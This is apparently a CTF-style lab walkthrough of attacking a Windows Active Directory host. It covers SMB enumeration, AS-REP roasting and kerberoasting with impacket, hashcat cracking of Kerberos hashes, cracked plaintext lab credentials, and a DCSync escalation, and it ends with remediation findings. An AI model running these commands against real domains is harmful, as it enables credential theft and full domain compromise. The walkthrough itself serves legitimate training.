Pentesting Windows Active Directory
MITRE ATT&CK Mapping
Enumeration
nmap 10.10.43.224 -vv -Pn
nmap -sV 10.10.43.224 -vv -Pn
SMB share enumeration
smbclient -L \\\\10.10.84.141\\
We now grab all the text files
smbclient -\\\\10.10.84.141\\VulnNet-Business-Anonymous
ls
mget *
smbclient -\\\\10.10.84.141\\VulnNet-Enterprise-Anonymous
ls
mget *
smbmap -H 10.10.84.141 -u guest -p ‘ ‘
Because IPC$ Share is readable so we can enumerate valid domain users via impacket’s lookupsid.py
We can check the files (we can extract usernames from the text files but we can get usernames as well in a different way).
We can use enumerate SID of the users (that’s because IPC$ is to set as READ) and we can use the impacket tool
lookupsid.py guest@10.10.208.82
Performing AS-REP Roasting
If Kerberos pre-authentication is disabled on any of the above accounts, we can use the GetNPUsers from the impacket to send a request for authentication KDC which will then return a TGT that is encrypted with the user’s password.
GetNPUsers.py -dc-ip 10.10.208.82 -usersfile /home/mic/Desktop/roasted/users.txt -no-pass vulnnet-rst.local/
Kerberos pre-authentication is disabled for the user t-skid
and we have the hash so let crack it using the hashcat.
Cracking the KRB5 AS-REP hash using the hashcat
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
Identified creds:
- username: t-skid
- password: tj072889*
Performing Kerberoasting with t-skid’s credentials
Because we have a valid credential we can perform kerberoasting to retrieve a KRB5 TGS hash.
Cracking the KRB5 TGS hash using the hashcat
Identified creds:
- enterprise-core-vn
- password: ry=ibfkfv,s6h,
We can log in now via evil-winrm.
Creds hardcoded in a visual basic script
Performing a DC Sync attack to get the Administrator hash (Privilege Escalation)
We can perform a DCSync attack to get the administrator hash and login via EvilWinRM
Vulnerabilities identified
- SMB Null Session: Null sessions should be disabled, restricted, and monitored.
- Kerberos pre-authentication should be enabled for all the user accounts.
- Weak authentication credentials.
Finally, you can try something on your own here